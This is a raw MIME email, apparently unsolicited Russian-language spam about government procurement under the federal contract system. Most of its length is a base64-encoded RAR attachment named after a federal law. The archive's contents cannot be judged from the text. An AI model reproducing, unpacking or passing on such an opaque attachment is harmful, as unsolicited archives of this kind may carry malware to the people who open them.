X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140708 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_0BD5_01CEB406.BC5B5A30 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0BD6_01CEB406.BC5B5A30" ------=_NextPart_001_0BD6_01CEB406.BC5B5A30 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=FB=E5 =E7=E0=EA=F3=EF=EA=E8 =EF=EE= =F4=E5=E4=E5=F0=E0=EB=FC=ED=EE=E9 =EA=EE=ED=F2=F0=E0=EA=F2=ED=EE=E9 =F1=E8= =F1=F2=E5=EC=E5 ------=_NextPart_001_0BD6_01CEB406.BC5B5A30 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=C3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=FB=E5 =E7=E0=EA=F3=EF=EA=E8 = =EF=EE =F4=E5=E4=E5=F0=E0=EB=FC=ED=EE=E9 =EA=EE=ED=F2=F0=E0=EA=F2=ED=EE=E9= =F1=E8=F1=F2=E5=EC=E5
------=_NextPart_001_0BD6_01CEB406.BC5B5A30-- ------=_NextPart_000_0BD5_01CEB406.BC5B5A30 Content-Type: application/octet-stream; name="=?windows-1251?B?1OXk5fDg6/zt++kg5+Dq7u0g7iDq7u3y8ODq?= =?windows-1251?B?8u3u6SDx6PHy5ezlLnJhcg==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?1OXk5fDg6/zt++kg5+Dq7u0g7iDq7u3y8ODq?= =?windows-1251?B?8u3u6SDx6PHy5ezlLnJhcg==?=" UmFyIRoHAM+QcwAADQAAAAAAAACw8XQgkngAxTkBAD1BAQACShXi7Hq1MEMdM1MAIAAAAJSlpKXg oKvsreupIKegqq6tIK4gqq6t4uCgquKtrqkg4ajh4qWspS5wZGYABN2CkECAkExUPUs5IMSDkCA+ IP2BkIBggJBCxYGQIEE4/IBggZACAPDPiyYRgQzVTNlVkBUVk1a3Ksy1ZBq1bVmmrBNcbXI0qjVf RGtb16/W9b3VRXTUVFRXVXTnoycYIIM4BBxEiTj8sQSRIkAQJEeefjyZQREYuMi81Cybe38zQCzI hMSFuYWkLPDwwQWtzZHFt+f+gwRGR1aGJkUkdCME4hNDBMZG1mc2chMzY6NzBGaP+N//U1/xh/RW JuY2Q+PnJzcWT5tgW7zU3KOyop6wvC5l0cXShICMRJZrUzqQGkB10kR5eVmQUIpV7HARGboio3oi jH0gSZlO4/UKHH15HEQfyUa/nBRpE0XBvFRyUSWOrGtu5eOrKmdsg8fo1Tt1mfZm6nzTtwKO9oEG v0xYCn4Nn1gV3ePChouJZmAI+Qb1gQI1gW432NihC/kjAcuBverFNcuKeQxdW4eQ+fqV6B/FXwF8 TslbLJGZAShLRXH2+WsuDQxjHJ6rzRNaJ+NLfU1TcsxSssjWYAzVpFy7S1be/CXZBA67jOCPBrIc sveZOvg2SjfizoTu4qPYP6xxhPlbGd2TsUC5pMIgYbdwV409pxuBFMhsl/E5KbG1lzFIFJnAF2+8 f2kkYy/155gsZOYKZAhhZeStF4mS0sMNE64pwkXIikTu5mYm8cThZJiHnEWSbxlqy40sju64gTLm eyyKvDYNWBGA1Tk6OTFsLmy7KdF9XfaZkPF1lF6CfekaRCDywPBX+kuHAVdSMlnrekK2NAsBLvP8 lC4/MLlMBgBRFhduge+OA/bva8pYO8WsxZU7OyuJfynWoqMOTq9J0PfUNfe8xSu/t1cPzd+6ROZB zMkNeOG1leaREwcX93N/mG8U7C+RAEe7oPi4l7Et3DGEkiomRSJhCmSlmt4opDA0uhfvjynZjyEM D3ota2lIfX8hLNlFgDoyIbQPoPgRSViRCFPTGWZvU+BmGjgnnlROdLy0365kB7vivapnvii5K+xj Ejohnaiajl/eY9loDNSECRUAE5kAc5AQUvQX63olagQhuAgGglMMCuDAZbkAKx3yRCEYFX6znhmS gKtgKKYHdJ4SNYE3bxlzf2LcNTkIL3/IYAXZ+SkYh84/FXWF5KAIwUHiiIspQrmQoeKO2EGsRw5w AgMhiSgOyQSTIaEkAYsgc88pUw7UQnNPsvIt8hS5jduBByHaTyizifoLPIQSGIVSXy1XCTWDWLAn nITGQQxfY3WZnJAXwFpeybeCPYj0wSfgSu4JLAWfv9KJPwiJHdBEmIkL36MhR7uShQkRVMcJ0QG0 IGvHD9EQW0QkR9LirYqDoqKZKCZJBmOQC0HvUEpPq0+b0NQohChN0x9oquiUtIX3iSajNVBlZ2Xy ATmWnY1NxJejK89M5o9yWPIJfg5/tYHgZ9iijKMGX1MHScWsQOxGrEc0Iw6gxrDivnSV6xVHemO8 8QHYTjXMLWZfULehF6E3oGARj5Akm85t/1OV9cPE6GLMFV3FpvKG9XbxS1GrkT2hHqihDC7uvI7G TyRnsQ+gSfxk6RFIpFBVZBJCEV/Mun5DNRjlLtUt3QSUT74ZOwW+gfrWEWEk8RDxPHSa7JlFIZSU 3Kn8lImwi6CibI/sR3RDI4yMxiDieLKZtITaT/ovbKLxRnitYKwUp6xVWLP3G5la4ou9JDK5qqfh UXKqWrVifd0RwSOynE17GSIerwVFao1Shc1TlhM+yM1XWRjpUOkN4sXGJ7QbhRxUtwobeQ91RiCn 1KWYpYlSCqE9kU7bRdNFG5lnmOQ5DNKQGzVJoo7JuZ4GyKhaIiJtKskqcSovHcBYqHp8czgTk5fw Z+nz9HT0AKpcqp6rd8xPpG+kWVFbpcVM8U3ZpJWjr6SNo7VOaaL5o6GjaU7tT7eggNEs0QTVwNP3 zjmp7HMPbIzIHemakDqF49nTgjbKNSQ1V2fp0B3NmtPP0+3Qx8+ozzuh71SZrOifm6i6Q/WC8KIP VcRNR56xQ+Oiy2KEC8CRj8umY/wZUjmbOn5dCa377eBtzR5w3lReYN56Hnx/AV6Fv5JfyPel16KY Odg5EDgwPVg9oHdkIW4ArgLsJ+YSti4qLYYo3GXQaPTNWNA8xyzhtNrtqQjdwOFllz2BxyhVixzN NNPs2POsGm9icJZlUmQ4ZwuUPZINxXGVCl2aLpwuhRIPEjiYJ6EjL4DWyRi1nl0CXBhdcFs6sjSx hLbZY81p6M7Y3Tbb9md8xIRhFGdTZ9Bi7qmrly7U+uH4a652rm3bVPG65j42szbiWmwxO2hONJAw 3l9d6nvAwNDA4s/lfPPzr0yzq/T7P1NhhbE2Ms27IQB4Oqt1O+L8aetfLP3e9XzGBikS5hLicihe MPu8u4b44u25rZxXOddo20NtES0um1Sdl12jHqB9QQQfBCcR5HEgqWnZqjjQcxmXtNeI60PrdRrZ vBK8CpuwdjMuMF6zYXeFOFT6HLbV8w41rTSdsfM2m6D2yp9sn2O+Df4HPktfLZfuJ+p0DEvZN/fE GingZB0kEQgMqARb49Im9IYMXwjrjuDuMM43aDgM1+zeif8b+KwJSDfCCMChAMrQp9GfmKKIjnXj 9bsGNASgNWkd0R5BH1IkuiJNA80ItQilBM0K/iO+JJYiQxVbCr4a9EaEMKYLpiMW/Q78zvUox6Fu zbN55fH0+c7voR76K8RJeW6axNXfl5CeETTRMjiedDmUOXQ/UdT80D5f4z36js0ultWvpL+kUnAh u/yyHVjmHGnktsTyZQepTqm7U4eS+9OKUf2ql6LqgZOUvpS6dHdpwYm7E74FR6T3R6CSsfLOCokC VIFepnZmncZwtjk2MRY0WRNSvQuG5MFiZsyIetE2FxhGutmaL9golgvGcxvyinI9xOcHfikTjjOG LcwW2t2puQUdr53Xi8/rV8u5y3PLdd9WBzo+PH9FXNqKOpeVfnrS9aPbvDbsp/s4KzaGp9KbL9pG D3bF7Kup8erZ0xQV/f9OdbiRaIRcI4N/2VTbENrlOqc2rR00lQmkCW7kwwl1aWWJW23cTbd+UnlK 8mvvmvIWTJXZM+15itkq27p8+xs2g8Uq5fmGBBsD9hdOQQxI+NGSoCV+9yofNXUbSJrkuwS1oaXN ZdZFCzs+Z8dErvSItXTXqrZeik19S4eLit+/Zq6CtSqquteLbWsHVlPN56ZYPQwkQ+Sz4deo+box x4PuV6W9sk0NPZcuB9N36cr/DAj5lRmVlF0wXMlW31NE6drBf32Rtu77ofbDa6lupbSVHwOFJYUf fZny6O/AQYV6ja6Msnxm8l1sCLOhohTmXNo60pPPJuiM5x8+G3eytMSjpd96yOrxINA9VnJc4XfW Cr+HoBSdTuKdmj6TdObl5eDQYrpLeeqahz1yqzC5butrzdbu43vMm+Xx+5+8bXf7V4ZljEYvMa79 7fgb6dyvfpPb4R6kB2DjwOAhR2FtzAAu9I1OHD3vRHrJ6CvdVs5cC7f0Z+L7R+7zqOo3bSRakV1j XHnyK3pV8do5NuZsrLkMPlpwTmfdf0+Y8Rz6Gv5r13mIT0+5j0762C+gQDFs15Qfsnx+Ppc8hF5/ PCgstE7iTYR8QnfCgwP17yd/ZJ05GXpcI/LPhc9cng1na8/2JmYiwA291z8e2hWzK/TXmr8Z/Syd Tnq/j8q41Wsq9K3Ki+uW4Xc7Z8XEs7ChpbdVf1Fh/LfTk8xn8dnTSxSfO/QE8YLu9QtkbWP/4MS/ ln/hngz/+jPqo8N7IYLCf/1GRiczBTdGFz/51pLZ82b/SrtDH/DQxyZnBgkMjQzM7mQmRkbnX/ya ScHJqYmRghtzW3OKm3/NiZFv+qfptkd2Rj/lhDQ0L5uX/R/p/8yCku/6jYp+P8m1/m7f/Ti4uPT/ xfXuDV/4lpaZcW6nb/8IrJ8K3+EL/C4Vf8/CP/oBf4Kl0w/8N1qHzcWxy/gpQmhzclBkcf1k2N7c 2/2J/ZxyYKH7UY2j+9/7C/mXv+At0bG1y/7Hz/sMOX/ofH3/24H/5HTfuuxLDQ29Z37CAd8fv8M0 4aJoFeWsg2BKToZYamzFFpa71ngsU2XuRINaWrRSAQtb/buwMEwRQDOEKgaoPvB7/XB2CPAfzHIY AC35uIu3+5bCHpEQn9GbJEI/V/tUP+ngn/+djdmjtVJ/XT391zoPlOf5dloxIJ2hNH5ndG9K8L1l 3YPW1CdWCNUmt/+QqgD9038ozZUWmATyAFewsBF+NYIbr1vAHEoBbUsnybQyfUp6l0evzjCOOCMU oDq1Sk6e/FWMzQO7Np0I3tD/x07h64StOKHO1tuacPTcMmQSfv+f6dmRH29H7Cjc3g6ln5gBwtzZ RPrV9SNr+0w+5yhYGQ+soSAYMHxNzOPYIFVRHXofkeTk6AxQS2jr5Ut8WGdiftuaY8Uc85JP3HWP 7dejzNLZ1PzNmN0wc0iIWniyykwEZkTMtgzgzDypmISCJvu/q/AwyHoFZLm7EeOz0ms8Ip4+vc/9 +TGEMVUY2hSMDwnxLmE6l6cbgeEyyTLXVm8CejsCuE8uaAMw6ohavIvHNi3Yf2CYIO8g/ZvnpIyb SXAFQ2PMg+1b4nC60Ewz7iFHIqqpURaodqB3fydpIZ2NWxwUGupuCaB/rLPdI92HBLmt+AXKE0Cz da/yJv9EnJgAlYELwY1gJYlIHbMWJvWpNEw4CNSIZyIG60d3Z0GUtTJQDiR9As3FGNIO1+6EY+1D LBz5YIzw6OqnANBkdhULZszRWrC8tLtaT/tzel7YkieApTgcTFTXWvpWUr+U1mwbnxGP85SIkLY0 KXJL0iJ8//ooPYrg9pmyXQcd5NA7rgyw685FVOULulihz1xHXMiiUv4U3Xlj94EPsbfwOFbRkbpo Yz4eZaxaj7WW9W/o7dvzaUPgA21ajEyR1SJ7B8zJmyrBB2SFAlYx0PjKJtdFj+qXmb6OQyr+rO7L 0wWCTnyLhfgsDDB9398nBjFrCCeQYCqQP/96p/+9+2evijlTIVWBRTn27A0cIomCBlV05dk0hEfc O/S48iJhD9G/P7uqWjvOTPIlj5xE+iWbjD1IncqVCZ+/TwFo3+Z7+JS8zyEc3ZF3demGsdvZTA4g T8PXsvnk3I0+eoYHRqB5BKflzeS/Gz75GvRR+nDKP4FU74it3YuaQF1wjr/11ru49K4gMJlGcRNb w0SHaKwhClyo5yR/IQhyjjyxwHVIw5pRvp7+DHqk+QY9oRrIv/ap2ldRgrvdz8thNgAmkYqYKmym uAP3ZH+OJCCaMPdOXAonkJ+JYrdgtiBfPq/qL9/gPrOOy5wSVxAKk0N87CU67oYJP3sa2wCcWgL4 JUmGUJpWSr/PVJb7wcDszSYkLCZ3CsXLE5wL4oXaZRyhSXBh5Ml2PAINo/z9TNUBSpwWZva1tvry JzDh7B28VMXhI7RF1IvLV5OaQpe+lUNQHugh4AdpZXLw/K+nu8PHs1nUs8/UcFJEldf0vh6DkENB lD6WYl8CSWJUPD52SU7oW7vPSz5t3+GNhGjgUirw0C1DfHko6l5xF7lXSJHtf/jrTEjJZ8wcnT2p 21s+MRw8VsQp6BmRcOqiJRH3E8zLHhEBfnOJhrveW2tVFpsGdpQ6Jqbqx3ZN/5EYPbQKdoAaLymY BxHvTogzYB0PObiW+pNA2XkL2H/zRNydYsPB921RM3EnG8J5W14Ov9cDbb+ALLlm6qoXUhRoCdS+ kXIoYsIHy+CDi3ejzcLzbDtPTyFrw3bcy0rZCT5Zw0NMp+ZtQgmnjjNEGb+T7ODZOrRtexFKTAti s8K9ssVq2SecQqDWUP/LpHYGsFFg7GJCZqjjEymitw4EFKtQ+7EnaMTm4Zt11KwJCNatcRav1pgn G9llTC9gPVJeRzdiP5K1JLHSNaBBwpQcszbEmR/cOf96yTHnBrzaUBLH8mVnkjezgsipZNwtu2P8 uDm2DMepI3An8/mIgZ6VbOZK4WiTCTOk/+SX65ehzIVo03sjTh9GLlnaWiKI4/+bRxfMy5uweinD 9I6aaNne3B7gth8G2YeEEnAJV73QcoWf6J2WUqdutt7KNSbyCp1ZB/lQoGu/Yu6VPApLBUeTDZQQ rgJ/IcU1Q0A+Ck+qYLkVhAG4L4X9Lc5p2nWt9ZpEihUqii3YCCLNwA3hBI7JGGHVmakxKYZSlCp7 IXjcHZy0V5dxEE3Q3Vej34wvlBxZNsnKIFHyaKLBq2tIPOjECZymEH9yVRTiiuId+6dY9aig5iML c3kT+a2sSRjA39HcxeILCFtKatPnkvRNQDpngXRYmeQv/PZMFV49IgSWEHy5FysD2BJGH1Umm1X7 gBMAWoFEpC0VNtQu7BHZYsogm4/7ioWnuM4F4eMtjTV5t3HxQyfEuw3ydKUYP3RvyB9mPRqOC7Qe FDVqV8XpTWqCVNlg3JC+jVtfwSJZe5OBfqhpoVflu6Dv9Olng6qnSwsNNDl6JBVqcCNHCmW9977s gBsYR+/JaM5vEz3/vZqhgO9lC6dsQ94hVZBDoCVXGBlIKuxmlrJVInGnXWFOB2IoMvciZgPdYv5P pzDLAHCc4cBB3sbXaoi8q7bis6ZPMVR1yMFG/9Yf2eh+RLOTYBo7WVEBsn8oIZEuAka/RpoAUyc9 +oErs6nJoBV7no4nKGqfaktN2kMycvKM7wRB+/ZuvZ2RIrMiDT96CgTWhhHWZwE5GAxLmOi6kU+i aEbRL2V9oIP/WEHhw7XvAn0pv8IKVhIO5aslVez1pMgDKBE06UL/WMEQmZ/jhHtZ5Y+eZ5dZeezW wu7RHGIHkl/zAebt8tWv44yUFvwh3bemOz0W1IJz+s/9X8//wIWYAw4hF18pYQTFkfRRmD0xmEgX guuk+rcSSxI59P+U0VL09VjpJRdt9LNHAbhdqYnUHqFXG7BRxQyCHenJzngweUTV6uh4Lzz8dnJY IsrZS8JTixg9Z4Szdsag2NBv6zFYXPceH9+TR4KZ3zLv6RKBKykAIvGSj9p8jPS7a9lL2HKGdpB/ bt/3jO/4v74pWbGK7HYd+R30031/tF1gRBa8HEoedtgpigctXhkO4uHs2EQvHb1NVqJbFzm4BqiC 8nWGUwgq+WXi6r5W7vhX+L7t34Gz3bgNFv+TdCDIcd/hYF44Eb84sRtf88KOVTcu86ThuR1P8hEi W0wtosjvYWHEXY5pY3HExCFyGbSQg01/3RiNX3dySFBhG5kyM2bchs3kRII/ZDiM3tTrtdHWwqYc I8xV63TZaEK9pNVjMLIZVXSTL04FC0R/gMPGGetlYzI4XJHxMb3QGaS6t95UpQRryfOJzBxX4Q4U pWQ02rOlW0kXctXmjp6TyGdlvjTKnQ7D0kmsKkEQnnV9iKAUGOOd1iTSYD7tFE4SX/kKIaR4f1Ly J/Iz6WDqyzFGi8er/RaaXmiFS+0feFDPaFXydkQPz14rOi73B+8QE6p7uBGrvar1/MjzzzRUyTW+ /SDyVyHuURwkd6N3dj7nVtVI9WYJxB1HrszGoG58RziVBI9h6/iTfazX7fabKRd6Y46+37NA/i3G BayrZl8CTqYkbmyFeqFV5FWpgT24ejzGm3S4BlIH3ofVVftVeEtBxDKxgZyGJdgU4d9ntETuldP8 0g8NeZwJo0RH24t/Lght9/t7mRaqboOxi/SCKc8+93sdGsRshiyBpvDV7jxppAITdL8+oigOicsX 8j/CTYY3rg0WiWzblx0TiSDjt9mr3sOf6L5Wwpn7Ftd3qSz4jwlhpEMHsyrh0uDRMUWUUbNp0Fns admGQ8kfc0znjeVbmds2YocaPaoi74DsB47bLcz0pbRpuffj79qyeUwOYzbr+5yIWBEdMRcl+3VO A5PLwuuNyVvdhQVn6O94vO0ILoqvMjMGE24PdttUwNccCSpxeQ6HIwBpqgbpyjj4a3lShcFfNxPc l/iHMTvQQhV9lVmm+9HTamy/xOILzOhfqSiCXG7ueADzmpK8grTT+qe3VHoUx0//ibrnSCfcDUcM Sv00OJckxJf8OozWD674+DA/3a6XYzh7XN3F0SEIs6B7MCqEHLiwbvkBSKcJBPEnCqsuAZMv5B0a w/YZikYO29EfrDYP/s+YZYKI+TFdtRhVQUUS5BJrN6FiTxkr5g3TTRBL59ymxHj5YQXrOWShBemZ +wQQNOfk38qoJWIWv3U4wEF14kYPxnPyiQ5SzGIU+eBYett1wblQ5dOOzRPc8U60Fp67YrcKp9Fd COgsZlrMGNKVqdGTcJkc9M1gPcJBk+W/6omvDnrOFyuMGh0QQ1a5RfFv9dtUbLvVE2AWxgDM8e8J AU6zTjHsG79urCAObVMvZbfM6ddG1OPucgcmfWgtTH+p9vcGjQB46j2Tph+HZ3jcm3YZd6jyb/F0 28dRHYUcKqQPr1XkV+TLF9FwGRqegSTNIqRLzLgRtxQCC8c0tmBtR40oh6fYRzdXX0nAs6WfAmxS r5Lb5oNcZ2ObKExelGmzfYAUAOo3pBA92BDLOnXkU4LEOP9w21mxAXFjvMA1b7b1kBfkbPPVI1yg jTVwtFnb9bqWzpbivzVtGWbN+d6NjEzDGkIw5id2qLxcKWnaEeMVBU7YRMA9ybwPuyZyYRDwEM8n P7Rz/wwEyGHIPb0JLc0yu9OmZBDjl2jbF5FgL20atuxZ2uZCM1lGiosHFVMTtik6Xiwph7e0m9Qx 3F6LH0d1hkM3aTrkKPNCBvUuyQf9vOq/52Fj/PKqjXlggZhS6eCcaJxo64UK8JEuxVW5g1nDwQUO sg1P1KPmHfSRsQHChBAZ1bk2Gg9xErAYVf0SuiGTa6KjIiUcyvnOlb53O8nbzHU4gnMEVl9rvivf RfWPjg6ttvwnnHKnoiQIU0qW4O9ZivOCkI9D6ampy7+UC21NjlCBSmBa1GxnF0aMLg6wPpRm15aO Ddu4pyW9+mZZeF33BrS/sxTG27y9KkG0b/tckb1EW52kiSWh/ErU0p5/k4lRNeQ/KZZVSqF94or8 bSvJ2S1RAoLJLkhHBzU3Rit8mue7Zwby+ZOZzTvV0NTtA88OEi/Br8nqgsN1LOOvO0e9Dixn9jN4 Rqf7l3qfg+dC0N2b6BLna3Jnb75+wVzivUd5hxxJjuy+5r/kn4CrD96PkdTfRNpo2tmOsfLgFqar 0zMb288/N++je+xKh+8e+8NzCSpxzzQtOH3e3nJYznh6XRIAGFDSJFEuh70nTSVM+rS5NtZ7FB3B F7lyeN+TOWU+uwNtLNHjezwXKrksInkw9Kg9y49CjsGVK19lOHHCftjfekWFzwKAMg+lbt3ot7dm MAe1GXgQirM/4dNMy8zjZzg9qUPyyMPgfsFInR9Qv6QMBZUecfQyeY8/07q2DF5T4/aMyDdNhp8t ZNBxPtqIEHbeUZ5PnC1dsQ2zSvapsOIkBawnGQ6s90FIaIQWPcT7GZU8B0EBa7AgFGlYvhCfwi85 YmOx6cZqaotJaDqfNdjGiEcWNTsrD+tQPEUpRoxsXhnxxdxD0vj7u2xByYw5fdxmI5kqur35uYww Oi1NA5dr9K+I3646Z/dWidyrX1cp2hSwRtMZD1+xSjNe8U/Q2eJgyyTmMvSumTS+JrEKua2qJMuw niZNjV3EFCzXT43Nftz8yFEh4jU7aBFKaOD2o5L/AuMEZ/QfByXugsi/fB0F0dgWq/VRjlTFlL4Y z8qdYWTnKFRU66EkLdoIxl5JhhwWy90JSuSCdlCoF3l8Aes6ekZ6pj5Qg0rPtQrJy6dfuALCi+Rc 8vO1rfpecK6SzehDtbvcLO76nUukQfY5mYLh6vqifmZ3JzDYm6FdSJbv3iHJ3ANDCxqzZ0AL6n34 SY0OOD1kEX2waCPhqJQ+21N1l6yqd4tgAmHtDuDAOTQkFXwvHi+SOONlZ/auII53hwvCTHD83vgi XA8tnEW0XeJ8+23xq+ECFTmrGUWLnAdWn6knTCB1Dk4FFNSgpHpRMmbWHRWmjY9q4VlqOPL0qusE 6GnwG37LQhJLJlJd+ejKlIfa73jl3PvkqNhYoFv625TRloxAedY3PV6JX2Y340sPxq+dDc6ajaTy g0KlRQHvDGLY6IF/feJxJpRzn5hEghlMqixgCRYDwP6ErPFUqcrIk0ZqtfHeXEr+WSs5736IOG4K 1uhMjeJMtjkYIZHjSEuLkx2UJHYTptTWtr5OEvF3zRH7oPsh1jaLSxhAYus/BLiRdnsLnUs3yJod jpRXb7UjS91F3Ea5sldGeOjiCMcLd+41KqWrCTO8qHPWUIotvZWYhZ9/YV6eCT/O/WDlrf9/roMD mH6d9sV8yDhvLRFHJW2SuNjwY9qkJJ+Y9WAZgzXyZzO1woxP3NyEu/H0OTuSV/y5HXYqj5GOKWtl AU2EPZ4sDvdWLSo4QQ/Vh8PPyMB/KJQFKRCcNhPEqnByW62jJr1t2nRBhG39c7RbomPuDz+drIPe pdjXtjNYZYYgxfCThZSQLBEEuSM0qzNYPycIhr8cWFYDci2yXctmY3lR/58UAOuAVzzwaj1oIqVt QazHqI7rTkaRoaEopgOBMB299pvTO03smKZiwq4UtUCa3a7L+EhieSiw/dUWOHbVf8ks4VXqZdD+ v+iQJ9p+W4A5lJg88NG5vTlrreycPqaNG8Ou9CuwEanHeUnMPRz1zaxJPnIWqN0Bwtftt3N+f5E5 7Nq6xeNLTsr6/rjPjEQLjSptG7qq45qVYOSBjq5dlhH53lWumLEBxb+zjV9HRawl8szjSuhLuJce ERcOBVTvqefmm6ZN1WDqPRuK6QR8EM0/W3U+nnvC+Qc9vJRHDawoYgUNn/deyWmVcBbN2F60Rmvx jvpRCRpjdcAskU1iDyo2cFJ1orCsAqvZeBlrLTFmY/k+dFFxADt4SGQ1ec7VlCKf9U+Qm94Pceux bCrp20TstZb7/YgtL24BtlgD2+t1zO5UUbegfkJcZkVq41ZMdYCTaleQ4NBeAa6myqaLZOl6DXy5 l+kobkqk+Eyaf38sPHGWQSp6Rnp02PJSHNGKVbnRhkYwBgvvwYk8Vz3BP2PLWeDCq4FIvKFRPiQq pcY9pooEe9oeWOfYNHeoZfDigOL1ITwrVK1sXtRqM7oOShGsxlTshQQFaLczI2RB5SCKCSwzrM8N wYzq+vUkfm1vkupcv0X5W+Iglot9uxn0TO34Zy4XYbS8GBIprlNMtl6MAWJ9vOFU6iyYclHeTv5/ 2ocqKPip2rM2VmcY09b2fbj9GrW+PUqhD9Zcay+Rkxphq6GiCti0TVBpGqTOeTukwqXCYETs8+TT NqeseYmch5CCi1m6TOUlc7OeaY4ElWNMrWdE1haSobGfQaKSrcutw9hukWE1iq53Y9IaAnUkT/vQ Lp2H+4sShy3Jx4wvcN0p6BHzmic12OXkgFox/hmtTwZ7fWNuksYS6Uda9b73i1NGcCJk4jEIgOzV AG4/i+RgbmqKKhy6p1R9HgmcdahlPk0RIkcegU5mRh82gYbvapRK0WM9exkPlVA/WUhUDynX6T1i O06kUyy4WV6sSnavt48/GYyCZR1W9Xrt3qdsaIxtdH3BFbE7e15+IEn7wjAvlX6Grti8tJOBimVu l5GGfUEJwUMMwhN88lzF3LcaiRbNZGx17+QkpIbZpKENq3vPegcMIyrLA0vzKcUh6nt4pBviKOLC BSFiFdQ25q9R+jBbljVRtIMKjZl7ufTrGBLLlmdVwi8PhbtxJzqq4r0HbiGLDcK/rLqZAWw5ARJo QoUPA8tN6BUudMbcDpLZ/ehEVm/59gzcalNSiPqRWAlaQ+6MtaZfx7PaSwHxcvLHBdnk3EJUGylI eDkg89YjR04wRXuQGFIaxKkBzhifjwYdoYw6RA25FOLINam4Ykg9f7aaoXd5aXGR3c3qiltrMbSE 3J+qlmSIWk0HbesDRO1w6SgECaPfg1NG7dhONL9RrNL33U4PBKB7eV6yE+jPKjRrhE2eqUqbZ4R9 q6GWcDAa8clDreDot/0nkGVomplmrFjjt5R6NgA5FFwV4LPzIFmMXszrYSB3f6T6/yAZ/i8BIMpZ DcQfaX9rhIeqFAkaJza1hpfDSvAJXJKL77ygrVBVFqfv+4CLGrIW5doH++bg+U8TVfL+DhM5iDxP 1VjozVcmFv5u5TwNqOhyAaF6Xm/sReyvUie0rshafmXGgcqU6FP5dFnjylQawQ/1WbBelmKY6IWy GRMEN/oIjfNkz01V39H4n/IeHCg+l8D68PjnZq1nwOOr8Gu3pjrcoUOIZWX5VyNy3TobxQ8UpwQh p9Bc1pEnK6XK5ZleWvBMUL6gnRo/vkvAo0m7U9cu8JshclyaM0rYiJ1yUBwm/7aNKOcW0pJsiN47 N9Nvb6qsiq7xEPu92yXWMV58HdNIM2jqhHZEH5f3wOiQLhDlMVrw/kB05Q9BXQztI1zDzFVt1krO DUpCuYv8QGf6OnLCJZed1uPjfleE3THvGVXV7qDeGqLFCxI8R6mHe6TcouoFvWWSxVbtaMMkQD7D w5xqD/9VjhubvPzwbEX1gWzX+6F4tnPMSiqQHNaV5FSxpwoxbCN+mTNxVnQCcBUh7RiIlOZXNBaR 16J5XlSscCGea0XrLEYJFVNiE5UXzEsy97aFuwQ1T51n9kHCMNnXqL5+/KeVuo+/AGAw/tfYcFEx WMC2+dAEJ51V828zwm1o9AU8Iy57xvuDdrGq9kfIGVBbm+Uj9p4DTtHqvbvjtUHYcrnVDsdLc/ZQ bEPrbVttivrmeYY+UYNqQ27Du2fbgHbyeWisWDjPsasHLy4zl3+4hC/9FmlWhLIXJn801+JVhbwX K0uzG6yrG3BXV9rz6yNn6oUa6CkLIg3xK0OefgQ/qWp8jrJZ1zxFDfEU9OSPVD82lemDgnX2aWC5 sr19m3fwML1ZaQ/4eJGV/cC56L/WxZL+89raEe0s7ZO1VKSqZ4xKUHpg5RTwKoPrX40Tcxqc9QG6 BdH5xAucGqiqXncbqJ3f2u4AJq/rK9AXm2ZxYWFeBVn4lU5pXAmgOTVk8oTYG2etb+oD2SIi0uH3 wnbc5F+eVHXqzyoe15U8wWLNT5/qlu571ugCsdBM4/Ob2uk8V0NgRt7TbwRxBnyn72NR8HDTTIy0 GdzAysKHsD0E1Oz5cdxOgqaWpcFOC/jObZVU/lLlbwY7lTC2SHuSvg7eFEeGMfz9nK6jb/e/VP3f rsIt4cvu4iqnZNL98TL+rDDd0IDtf4RfZVjYA+jVliyu2sbve8Ov6vzqMQl1PQNBMyQxORuG0CdP Zl01djN7hWh3bEFaUp309pdmkrhYKzbxPeQ/JyXRVuBfWyoWsQw5tqYKjqgPqiO7eiLa4HTgxt1k GXShRjQ+IjC3TGna15jHk6/vk8CiNGkOaceFf+JnW6nDNlpiHJneHj/Ez70g3xXbQM+hH87zba/Q JnzD/9PIE7qXbQNwJXOs1cuBlSv+5hcIYcUc4kdQj7wdD2t3wumIRLs0Km2OSk6pPRrHd+S6wrR6 fVa+Y7rr/Ev2WN9wfbZQ6iQBb0KgTkuK+woANP0DNfLmv8dfTDCA0Hwre3fxD8RJFdNLpYIGKBdx yXQqbGYronPoWuvnf4kS0qaoNDSSfsTMkAvQnasmHA8YULxEWN21M4/Mbum+ChemlfCbeNkIZriR zb5+0F8kAxoSkVZgP7VWEpUb2LA/9sI/Y4/ReC93Y38i1oXeHPbnT+hK1ev2tpQnuL6IUTdt2exX NknfI424xiy7zODWo76mIqZtUPCT6KS+pD1qclTsF4yJN/xN6oZJONxJHaZ2tOSIscinv16OIn2w v3vW45WkDj4cRjCEUfhagEBnwT761CeAxbffh0lk8Wg+ftKw5r3KzZjU0cb6c298u4zw0Hs7M3HZ l4eTPJb/nm/lB9b8Oja205dqxN4Z2uAGkmNfi0GFyZsem3XS4oFlgvyN1tFtoA+gdBtifdR5F7Bx uwcPgK9WH05k237YGODM6CoewM9HnSlvgw5QejNy4mrzJQCPs+paTtzlo7KTYFTRy0HapxLg79vy tTfX2qRGhKJEiBOIwKE8h1r5dmSnFUFeYYxGC1yHYslJklYnCw7hF2AgNIWnjEGXvqdS+9sJzJ+V plXl1kKlUjkipMkU6MVsPMqF4FUdMUa8sWQwiHK75ARxCC5Os16ViVJYflkto60Le+qlY7M9Jzii XR5ZUdhv1/+RwKDMrx0mVhN8zYrQwjOWH9cjG/uOTAvKj2LTpuDLqmj6L4TdL87Vm15AhNniRpcb GN0VyF+C9msTJqwik1b9VoBrP13diqMEuuiVgCtsSX8Ob5A3mXFJVgSgc++bj+VtapE9Xy4ZgNm9 